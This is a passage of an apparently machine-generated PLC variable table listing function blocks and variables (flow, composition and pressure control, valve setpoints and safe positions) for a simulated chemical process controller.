+43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; 